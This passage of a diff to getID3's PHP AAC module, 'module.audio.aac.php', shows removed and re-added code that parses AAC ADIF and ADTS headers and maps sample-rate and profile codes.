== '1'; - $bitoffset += 1; - if ($info['aac']['header']['is_vbr']) { - $info['audio']['bitrate_mode'] = 'vbr'; - $info['aac']['header']['bitrate_max'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 23)); - $bitoffset += 23; - } else { - $info['audio']['bitrate_mode'] = 'cbr'; - $info['aac']['header']['bitrate'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 23)); - $bitoffset += 23; - $info['audio']['bitrate'] = $info['aac']['header']['bitrate']; - } - if ($info['audio']['bitrate'] == 0) { - $this->error('Corrupt AAC file: bitrate_audio == zero'); - return false; - } - $info['aac']['header']['num_program_configs'] = 1 + getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - - for ($i = 0; $i < $info['aac']['header']['num_program_configs']; $i++) { - // http://www.audiocoding.com/wiki/index.php?page=program_config_element - - // buffer_fullness 20 - - // element_instance_tag 4 - // object_type 2 - // sampling_frequency_index 4 - // num_front_channel_elements 4 - // num_side_channel_elements 4 - // num_back_channel_elements 4 - // num_lfe_channel_elements 2 - // num_assoc_data_elements 3 - // num_valid_cc_elements 4 - // mono_mixdown_present 1 - // mono_mixdown_element_number 4 if mono_mixdown_present == 1 - // stereo_mixdown_present 1 - // stereo_mixdown_element_number 4 if stereo_mixdown_present == 1 - // matrix_mixdown_idx_present 1 - // matrix_mixdown_idx 2 if matrix_mixdown_idx_present == 1 - // pseudo_surround_enable 1 if matrix_mixdown_idx_present == 1 - // for (i = 0; i < num_front_channel_elements; i++) { - // front_element_is_cpe[i] 1 - // front_element_tag_select[i] 4 - // } - // for (i = 0; i < num_side_channel_elements; i++) { - // side_element_is_cpe[i] 1 - // side_element_tag_select[i] 4 - // } - // for (i = 0; i < num_back_channel_elements; i++) { - // back_element_is_cpe[i] 1 - // back_element_tag_select[i] 4 - // } - // for (i = 0; i < num_lfe_channel_elements; i++) { - // lfe_element_tag_select[i] 4 - // } - // for (i = 0; i < num_assoc_data_elements; i++) { - // assoc_data_element_tag_select[i] 4 - // } - // for (i = 0; i < num_valid_cc_elements; i++) { - // cc_element_is_ind_sw[i] 1 - // valid_cc_element_tag_select[i] 4 - // } - // byte_alignment() VAR - // comment_field_bytes 8 - // for (i = 0; i < comment_field_bytes; i++) { - // comment_field_data[i] 8 - // } - - if (!$info['aac']['header']['is_vbr']) { - $info['aac']['program_configs'][$i]['buffer_fullness'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 20)); - $bitoffset += 20; - } - $info['aac']['program_configs'][$i]['element_instance_tag'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - $info['aac']['program_configs'][$i]['object_type'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 2)); - $bitoffset += 2; - $info['aac']['program_configs'][$i]['sampling_frequency_index'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - $info['aac']['program_configs'][$i]['num_front_channel_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - $info['aac']['program_configs'][$i]['num_side_channel_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - $info['aac']['program_configs'][$i]['num_back_channel_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - $info['aac']['program_configs'][$i]['num_lfe_channel_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 2)); - $bitoffset += 2; - $info['aac']['program_configs'][$i]['num_assoc_data_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 3)); - $bitoffset += 3; - $info['aac']['program_configs'][$i]['num_valid_cc_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - $info['aac']['program_configs'][$i]['mono_mixdown_present'] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); - $bitoffset += 1; - if ($info['aac']['program_configs'][$i]['mono_mixdown_present']) { - $info['aac']['program_configs'][$i]['mono_mixdown_element_number'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - } - $info['aac']['program_configs'][$i]['stereo_mixdown_present'] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); - $bitoffset += 1; - if ($info['aac']['program_configs'][$i]['stereo_mixdown_present']) { - $info['aac']['program_configs'][$i]['stereo_mixdown_element_number'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - } - $info['aac']['program_configs'][$i]['matrix_mixdown_idx_present'] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); - $bitoffset += 1; - if ($info['aac']['program_configs'][$i]['matrix_mixdown_idx_present']) { - $info['aac']['program_configs'][$i]['matrix_mixdown_idx'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 2)); - $bitoffset += 2; - $info['aac']['program_configs'][$i]['pseudo_surround_enable'] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); - $bitoffset += 1; - } - for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_front_channel_elements']; $j++) { - $info['aac']['program_configs'][$i]['front_element_is_cpe'][$j] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); - $bitoffset += 1; - $info['aac']['program_configs'][$i]['front_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - } - for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_side_channel_elements']; $j++) { - $info['aac']['program_configs'][$i]['side_element_is_cpe'][$j] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); - $bitoffset += 1; - $info['aac']['program_configs'][$i]['side_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - } - for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_back_channel_elements']; $j++) { - $info['aac']['program_configs'][$i]['back_element_is_cpe'][$j] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); - $bitoffset += 1; - $info['aac']['program_configs'][$i]['back_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - } - for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_lfe_channel_elements']; $j++) { - $info['aac']['program_configs'][$i]['lfe_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - } - for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_assoc_data_elements']; $j++) { - $info['aac']['program_configs'][$i]['assoc_data_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - } - for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_valid_cc_elements']; $j++) { - $info['aac']['program_configs'][$i]['cc_element_is_ind_sw'][$j] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); - $bitoffset += 1; - $info['aac']['program_configs'][$i]['valid_cc_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); - $bitoffset += 4; - } - - $bitoffset = ceil($bitoffset / 8) * 8; - - $info['aac']['program_configs'][$i]['comment_field_bytes'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 8)); - $bitoffset += 8; - $info['aac']['program_configs'][$i]['comment_field'] = getid3_lib::Bin2String(substr($AACheaderBitstream, $bitoffset, 8 * $info['aac']['program_configs'][$i]['comment_field_bytes'])); - $bitoffset += 8 * $info['aac']['program_configs'][$i]['comment_field_bytes']; - - - $info['aac']['header']['profile'] = self::AACprofileLookup($info['aac']['program_configs'][$i]['object_type'], $info['aac']['header']['mpeg_version']); - $info['aac']['program_configs'][$i]['sampling_frequency'] = self::AACsampleRateLookup($info['aac']['program_configs'][$i]['sampling_frequency_index']); - $info['audio']['sample_rate'] = $info['aac']['program_configs'][$i]['sampling_frequency']; - $info['audio']['channels'] = self::AACchannelCountCalculate($info['aac']['program_configs'][$i]); - if ($info['aac']['program_configs'][$i]['comment_field']) { - $info['aac']['comments'][] = $info['aac']['program_configs'][$i]['comment_field']; - } - } - $info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']; - - $info['audio']['encoder_options'] = $info['aac']['header_type'].' '.$info['aac']['header']['profile']; - - - - return true; - - } else { - - unset($info['fileformat']); - unset($info['aac']); - $this->error('AAC-ADIF synch not found at offset '.$info['avdataoffset'].' (expected "ADIF", found "'.substr($AACheader, 0, 4).'" instead)'); - return false; - - } - - } - - /** - * @param int $MaxFramesToScan - * @param bool $ReturnExtendedInfo - * - * @return bool - */ - public function getAACADTSheaderFilepointer($MaxFramesToScan=1000000, $ReturnExtendedInfo=false) { - $info = &$this->getid3->info; - - // based loosely on code from AACfile by Jurgen Faul - // http://jfaul.de/atl or http://j-faul.virtualave.net/atl/atl.html - - - // http://faac.sourceforge.net/wiki/index.php?page=ADTS // dead link - // http://wiki.multimedia.cx/index.php?title=ADTS - - // * ADTS Fixed Header: these don't change from frame to frame - // syncword 12 always: '111111111111' - // ID 1 0: MPEG-4, 1: MPEG-2 - // MPEG layer 2 If you send AAC in MPEG-TS, set to 0 - // protection_absent 1 0: CRC present; 1: no CRC - // profile 2 0: AAC Main; 1: AAC LC (Low Complexity); 2: AAC SSR (Scalable Sample Rate); 3: AAC LTP (Long Term Prediction) - // sampling_frequency_index 4 15 not allowed - // private_bit 1 usually 0 - // channel_configuration 3 - // original/copy 1 0: original; 1: copy - // home 1 usually 0 - // emphasis 2 only if ID == 0 (ie MPEG-4) // not present in some documentation? - - // * ADTS Variable Header: these can change from frame to frame - // copyright_identification_bit 1 - // copyright_identification_start 1 - // aac_frame_length 13 length of the frame including header (in bytes) - // adts_buffer_fullness 11 0x7FF indicates VBR - // no_raw_data_blocks_in_frame 2 - - // * ADTS Error check - // crc_check 16 only if protection_absent == 0 - - $byteoffset = $info['avdataoffset']; - $framenumber = 0; - - // Init bit pattern array - static $decbin = array(); - - // Populate $bindec - for ($i = 0; $i < 256; $i++) { - $decbin[chr($i)] = str_pad(decbin($i), 8, '0', STR_PAD_LEFT); - } - - // used to calculate bitrate below - $BitrateCache = array(); - - - while (true) { - // breaks out when end-of-file encountered, or invalid data found, - // or MaxFramesToScan frames have been scanned - - if (!getid3_lib::intValueSupported($byteoffset)) { - $this->warning('Unable to parse AAC file beyond '.$this->ftell().' (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)'); - return false; - } - $this->fseek($byteoffset); - - // First get substring - $substring = $this->fread(9); // header is 7 bytes (or 9 if CRC is present) - $substringlength = strlen($substring); - if ($substringlength != 9) { - $this->error('Failed to read 7 bytes at offset '.($this->ftell() - $substringlength).' (only read '.$substringlength.' bytes)'); - return false; - } - // this would be easier with 64-bit math, but split it up to allow for 32-bit: - $header1 = getid3_lib::BigEndian2Int(substr($substring, 0, 2)); - $header2 = getid3_lib::BigEndian2Int(substr($substring, 2, 4)); - $header3 = getid3_lib::BigEndian2Int(substr($substring, 6, 1)); - - $info['aac']['header']['raw']['syncword'] = ($header1 & 0xFFF0) >> 4; - if ($info['aac']['header']['raw']['syncword'] != 0x0FFF) { - $this->error('Synch pattern (0x0FFF) not found at offset '.($this->ftell() - $substringlength).' (found 0x0'.strtoupper(dechex($info['aac']['header']['raw']['syncword'])).' instead)'); - //if ($info['fileformat'] == 'aac') { - // return true; - //} - unset($info['aac']); - return false; - } - - // Gather info for first frame only - this takes time to do 1000 times! - if ($framenumber == 0) { - $info['aac']['header_type'] = 'ADTS'; - $info['fileformat'] = 'aac'; - $info['audio']['dataformat'] = 'aac'; - - $info['aac']['header']['raw']['mpeg_version'] = ($header1 & 0x0008) >> 3; - $info['aac']['header']['raw']['mpeg_layer'] = ($header1 & 0x0006) >> 1; - $info['aac']['header']['raw']['protection_absent'] = ($header1 & 0x0001) >> 0; - - $info['aac']['header']['raw']['profile_code'] = ($header2 & 0xC0000000) >> 30; - $info['aac']['header']['raw']['sample_rate_code'] = ($header2 & 0x3C000000) >> 26; - $info['aac']['header']['raw']['private_stream'] = ($header2 & 0x02000000) >> 25; - $info['aac']['header']['raw']['channels_code'] = ($header2 & 0x01C00000) >> 22; - $info['aac']['header']['raw']['original'] = ($header2 & 0x00200000) >> 21; - $info['aac']['header']['raw']['home'] = ($header2 & 0x00100000) >> 20; - $info['aac']['header']['raw']['copyright_stream'] = ($header2 & 0x00080000) >> 19; - $info['aac']['header']['raw']['copyright_start'] = ($header2 & 0x00040000) >> 18; - $info['aac']['header']['raw']['frame_length'] = ($header2 & 0x0003FFE0) >> 5; - - $info['aac']['header']['mpeg_version'] = ($info['aac']['header']['raw']['mpeg_version'] ? 2 : 4); - $info['aac']['header']['crc_present'] = ($info['aac']['header']['raw']['protection_absent'] ? false: true); - $info['aac']['header']['profile'] = self::AACprofileLookup($info['aac']['header']['raw']['profile_code'], $info['aac']['header']['mpeg_version']); - $info['aac']['header']['sample_frequency'] = self::AACsampleRateLookup($info['aac']['header']['raw']['sample_rate_code']); - $info['aac']['header']['private'] = (bool) $info['aac']['header']['raw']['private_stream']; - $info['aac']['header']['original'] = (bool) $info['aac']['header']['raw']['original']; - $info['aac']['header']['home'] = (bool) $info['aac']['header']['raw']['home']; - $info['aac']['header']['channels'] = (($info['aac']['header']['raw']['channels_code'] == 7) ? 8 : $info['aac']['header']['raw']['channels_code']); - if ($ReturnExtendedInfo) { - $info['aac'][$framenumber]['copyright_id_bit'] = (bool) $info['aac']['header']['raw']['copyright_stream']; - $info['aac'][$framenumber]['copyright_id_start'] = (bool) $info['aac']['header']['raw']['copyright_start']; - } - - if ($info['aac']['header']['raw']['mpeg_layer'] != 0) { - $this->warning('Layer error - expected "0", found "'.$info['aac']['header']['raw']['mpeg_layer'].'" instead'); - } - if ($info['aac']['header']['sample_frequency'] == 0) { - $this->error('Corrupt AAC file: sample_frequency == zero'); - return false; - } - - $info['audio']['sample_rate'] = $info['aac']['header']['sample_frequency']; - $info['audio']['channels'] = $info['aac']['header']['channels']; - } - - $FrameLength = ($header2 & 0x0003FFE0) >> 5; - - if (!isset($BitrateCache[$FrameLength])) { - $BitrateCache[$FrameLength] = ($info['aac']['header']['sample_frequency'] / 1024) * $FrameLength * 8; - } - getid3_lib::safe_inc($info['aac']['bitrate_distribution'][$BitrateCache[$FrameLength]], 1); - - $info['aac'][$framenumber]['aac_frame_length'] = $FrameLength; - - $info['aac'][$framenumber]['adts_buffer_fullness'] = (($header2 & 0x0000001F) << 6) & (($header3 & 0xFC) >> 2); - if ($info['aac'][$framenumber]['adts_buffer_fullness'] == 0x07FF) { - $info['audio']['bitrate_mode'] = 'vbr'; - } else { - $info['audio']['bitrate_mode'] = 'cbr'; - } - $info['aac'][$framenumber]['num_raw_data_blocks'] = (($header3 & 0x03) >> 0); - - if ($info['aac']['header']['crc_present']) { - //$info['aac'][$framenumber]['crc'] = getid3_lib::BigEndian2Int(substr($substring, 7, 2); - } - - if (!$ReturnExtendedInfo) { - unset($info['aac'][$framenumber]); - } - - /* - $rounded_precision = 5000; - $info['aac']['bitrate_distribution_rounded'] = array(); - foreach ($info['aac']['bitrate_distribution'] as $bitrate => $count) { - $rounded_bitrate = round($bitrate / $rounded_precision) * $rounded_precision; - getid3_lib::safe_inc($info['aac']['bitrate_distribution_rounded'][$rounded_bitrate], $count); - } - ksort($info['aac']['bitrate_distribution_rounded']); - */ - - $byteoffset += $FrameLength; - if ((++$framenumber < $MaxFramesToScan) && (($byteoffset + 10) < $info['avdataend'])) { - - // keep scanning - - } else { - - $info['aac']['frames'] = $framenumber; - $info['playtime_seconds'] = ($info['avdataend'] / $byteoffset) * (($framenumber * 1024) / $info['aac']['header']['sample_frequency']); // (1 / % of file scanned) * (samples / (samples/sec)) = seconds - if ($info['playtime_seconds'] == 0) { - $this->error('Corrupt AAC file: playtime_seconds == zero'); - return false; - } - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - ksort($info['aac']['bitrate_distribution']); - - $info['audio']['encoder_options'] = $info['aac']['header_type'].' '.$info['aac']['header']['profile']; - - return true; - - } - } - // should never get here. - } - - /** - * @param int $samplerateid - * - * @return int|string - */ - public static function AACsampleRateLookup($samplerateid) { - static $AACsampleRateLookup = array(); - if (empty($AACsampleRateLookup)) { - $AACsampleRateLookup[0] = 96000; - $AACsampleRateLookup[1] = 88200; - $AACsampleRateLookup[2] = 64000; - $AACsampleRateLookup[3] = 48000; - $AACsampleRateLookup[4] = 44100; - $AACsampleRateLookup[5] = 32000; - $AACsampleRateLookup[6] = 24000; - $AACsampleRateLookup[7] = 22050; - $AACsampleRateLookup[8] = 16000; - $AACsampleRateLookup[9] = 12000; - $AACsampleRateLookup[10] = 11025; - $AACsampleRateLookup[11] = 8000; - $AACsampleRateLookup[12] = 0; - $AACsampleRateLookup[13] = 0; - $AACsampleRateLookup[14] = 0; - $AACsampleRateLookup[15] = 0; - } - return (isset($AACsampleRateLookup[$samplerateid]) ? $AACsampleRateLookup[$samplerateid] : 'invalid'); - } - - /** - * @param int $profileid - * @param int $mpegversion - * - * @return string - */ - public static function AACprofileLookup($profileid, $mpegversion) { - static $AACprofileLookup = array(); - if (empty($AACprofileLookup)) { - $AACprofileLookup[2][0] = 'Main profile'; - $AACprofileLookup[2][1] = 'Low Complexity profile (LC)'; - $AACprofileLookup[2][2] = 'Scalable Sample Rate profile (SSR)'; - $AACprofileLookup[2][3] = '(reserved)'; - $AACprofileLookup[4][0] = 'AAC_MAIN'; - $AACprofileLookup[4][1] = 'AAC_LC'; - $AACprofileLookup[4][2] = 'AAC_SSR'; - $AACprofileLookup[4][3] = 'AAC_LTP'; - } - return (isset($AACprofileLookup[$mpegversion][$profileid]) ? $AACprofileLookup[$mpegversion][$profileid] : 'invalid'); - } - - /** - * @param array $program_configs - * - * @return int - */ - public static function AACchannelCountCalculate($program_configs) { - $channels = 0; - for ($i = 0; $i < $program_configs['num_front_channel_elements']; $i++) { - $channels++; - if ($program_configs['front_element_is_cpe'][$i]) { - // each front element is channel pair (CPE = Channel Pair Element) - $channels++; - } - } - for ($i = 0; $i < $program_configs['num_side_channel_elements']; $i++) { - $channels++; - if ($program_configs['side_element_is_cpe'][$i]) { - // each side element is channel pair (CPE = Channel Pair Element) - $channels++; - } - } - for ($i = 0; $i < $program_configs['num_back_channel_elements']; $i++) { - $channels++; - if ($program_configs['back_element_is_cpe'][$i]) { - // each back element is channel pair (CPE = Channel Pair Element) - $channels++; - } - } - for ($i = 0; $i < $program_configs['num_lfe_channel_elements']; $i++) { - $channels++; - } - return $channels; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.aac.php // +// module for analyzing AAC Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_aac extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + $this->fseek($info['avdataoffset']); + if ($this->fread(4) == 'ADIF') { + $this->getAACADIFheaderFilepointer(); + } else { + $this->getAACADTSheaderFilepointer(); + } + return true; + } + + /** + * @return bool + */ + public function getAACADIFheaderFilepointer() { + $info = &$this->getid3->info; + $info['fileformat'] = 'aac'; + $info['audio']['dataformat'] = 'aac'; + $info['audio']['lossless'] = false; + + $this->fseek($info['avdataoffset']); + $AACheader = $this->fread(1024); + $offset = 0; + + if (substr($AACheader, 0, 4) == 'ADIF') { + + // http://faac.sourceforge.net/wiki/index.php?page=ADIF + + // http://libmpeg.org/mpeg4/doc/w2203tfs.pdf + // adif_header() { + // adif_id 32 + // copyright_id_present 1 + // if( copyright_id_present ) + // copyright_id 72 + // original_copy 1 + // home 1 + // bitstream_type 1 + // bitrate 23 + // num_program_config_elements 4 + // for (i = 0; i < num_program_config_elements + 1; i++ ) { + // if( bitstream_type == '0' ) + // adif_buffer_fullness 20 + // program_config_element() + // } + // } + + $AACheaderBitstream = getid3_lib::BigEndian2Bin($AACheader); + $bitoffset = 0; + + $info['aac']['header_type'] = 'ADIF'; + $bitoffset += 32; + $info['aac']['header']['mpeg_version'] = 4; + + $info['aac']['header']['copyright'] = substr($AACheaderBitstream, $bitoffset, 1) == '1'; + $bitoffset += 1; + if ($info['aac']['header']['copyright']) { + $info['aac']['header']['copyright_id'] = getid3_lib::Bin2String(substr($AACheaderBitstream, $bitoffset, 72)); + $bitoffset += 72; + } + $info['aac']['header']['original_copy'] = substr($AACheaderBitstream, $bitoffset, 1) == '1'; + $bitoffset += 1; + $info['aac']['header']['home'] = substr($AACheaderBitstream, $bitoffset, 1) == '1'; + $bitoffset += 1; + $info['aac']['header']['is_vbr'] = substr($AACheaderBitstream, $bitoffset, 1) == '1'; + $bitoffset += 1; + if ($info['aac']['header']['is_vbr']) { + $info['audio']['bitrate_mode'] = 'vbr'; + $info['aac']['header']['bitrate_max'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 23)); + $bitoffset += 23; + } else { + $info['audio']['bitrate_mode'] = 'cbr'; + $info['aac']['header']['bitrate'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 23)); + $bitoffset += 23; + $info['audio']['bitrate'] = $info['aac']['header']['bitrate']; + } + if ($info['audio']['bitrate'] == 0) { + $this->error('Corrupt AAC file: bitrate_audio == zero'); + return false; + } + $info['aac']['header']['num_program_configs'] = 1 + getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + + for ($i = 0; $i < $info['aac']['header']['num_program_configs']; $i++) { + // http://www.audiocoding.com/wiki/index.php?page=program_config_element + + // buffer_fullness 20 + + // element_instance_tag 4 + // object_type 2 + // sampling_frequency_index 4 + // num_front_channel_elements 4 + // num_side_channel_elements 4 + // num_back_channel_elements 4 + // num_lfe_channel_elements 2 + // num_assoc_data_elements 3 + // num_valid_cc_elements 4 + // mono_mixdown_present 1 + // mono_mixdown_element_number 4 if mono_mixdown_present == 1 + // stereo_mixdown_present 1 + // stereo_mixdown_element_number 4 if stereo_mixdown_present == 1 + // matrix_mixdown_idx_present 1 + // matrix_mixdown_idx 2 if matrix_mixdown_idx_present == 1 + // pseudo_surround_enable 1 if matrix_mixdown_idx_present == 1 + // for (i = 0; i < num_front_channel_elements; i++) { + // front_element_is_cpe[i] 1 + // front_element_tag_select[i] 4 + // } + // for (i = 0; i < num_side_channel_elements; i++) { + // side_element_is_cpe[i] 1 + // side_element_tag_select[i] 4 + // } + // for (i = 0; i < num_back_channel_elements; i++) { + // back_element_is_cpe[i] 1 + // back_element_tag_select[i] 4 + // } + // for (i = 0; i < num_lfe_channel_elements; i++) { + // lfe_element_tag_select[i] 4 + // } + // for (i = 0; i < num_assoc_data_elements; i++) { + // assoc_data_element_tag_select[i] 4 + // } + // for (i = 0; i < num_valid_cc_elements; i++) { + // cc_element_is_ind_sw[i] 1 + // valid_cc_element_tag_select[i] 4 + // } + // byte_alignment() VAR + // comment_field_bytes 8 + // for (i = 0; i < comment_field_bytes; i++) { + // comment_field_data[i] 8 + // } + + if (!$info['aac']['header']['is_vbr']) { + $info['aac']['program_configs'][$i]['buffer_fullness'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 20)); + $bitoffset += 20; + } + $info['aac']['program_configs'][$i]['element_instance_tag'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + $info['aac']['program_configs'][$i]['object_type'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 2)); + $bitoffset += 2; + $info['aac']['program_configs'][$i]['sampling_frequency_index'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + $info['aac']['program_configs'][$i]['num_front_channel_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + $info['aac']['program_configs'][$i]['num_side_channel_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + $info['aac']['program_configs'][$i]['num_back_channel_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + $info['aac']['program_configs'][$i]['num_lfe_channel_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 2)); + $bitoffset += 2; + $info['aac']['program_configs'][$i]['num_assoc_data_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 3)); + $bitoffset += 3; + $info['aac']['program_configs'][$i]['num_valid_cc_elements'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + $info['aac']['program_configs'][$i]['mono_mixdown_present'] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); + $bitoffset += 1; + if ($info['aac']['program_configs'][$i]['mono_mixdown_present']) { + $info['aac']['program_configs'][$i]['mono_mixdown_element_number'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + } + $info['aac']['program_configs'][$i]['stereo_mixdown_present'] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); + $bitoffset += 1; + if ($info['aac']['program_configs'][$i]['stereo_mixdown_present']) { + $info['aac']['program_configs'][$i]['stereo_mixdown_element_number'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + } + $info['aac']['program_configs'][$i]['matrix_mixdown_idx_present'] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); + $bitoffset += 1; + if ($info['aac']['program_configs'][$i]['matrix_mixdown_idx_present']) { + $info['aac']['program_configs'][$i]['matrix_mixdown_idx'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 2)); + $bitoffset += 2; + $info['aac']['program_configs'][$i]['pseudo_surround_enable'] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); + $bitoffset += 1; + } + for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_front_channel_elements']; $j++) { + $info['aac']['program_configs'][$i]['front_element_is_cpe'][$j] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); + $bitoffset += 1; + $info['aac']['program_configs'][$i]['front_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + } + for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_side_channel_elements']; $j++) { + $info['aac']['program_configs'][$i]['side_element_is_cpe'][$j] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); + $bitoffset += 1; + $info['aac']['program_configs'][$i]['side_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + } + for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_back_channel_elements']; $j++) { + $info['aac']['program_configs'][$i]['back_element_is_cpe'][$j] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); + $bitoffset += 1; + $info['aac']['program_configs'][$i]['back_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + } + for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_lfe_channel_elements']; $j++) { + $info['aac']['program_configs'][$i]['lfe_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + } + for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_assoc_data_elements']; $j++) { + $info['aac']['program_configs'][$i]['assoc_data_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + } + for ($j = 0; $j < $info['aac']['program_configs'][$i]['num_valid_cc_elements']; $j++) { + $info['aac']['program_configs'][$i]['cc_element_is_ind_sw'][$j] = (bool) getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 1)); + $bitoffset += 1; + $info['aac']['program_configs'][$i]['valid_cc_element_tag_select'][$j] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 4)); + $bitoffset += 4; + } + + $bitoffset = ceil($bitoffset / 8) * 8; + + $info['aac']['program_configs'][$i]['comment_field_bytes'] = getid3_lib::Bin2Dec(substr($AACheaderBitstream, $bitoffset, 8)); + $bitoffset += 8; + $info['aac']['program_configs'][$i]['comment_field'] = getid3_lib::Bin2String(substr($AACheaderBitstream, $bitoffset, 8 * $info['aac']['program_configs'][$i]['comment_field_bytes'])); + $bitoffset += 8 * $info['aac']['program_configs'][$i]['comment_field_bytes']; + + + $info['aac']['header']['profile'] = self::AACprofileLookup($info['aac']['program_configs'][$i]['object_type'], $info['aac']['header']['mpeg_version']); + $info['aac']['program_configs'][$i]['sampling_frequency'] = 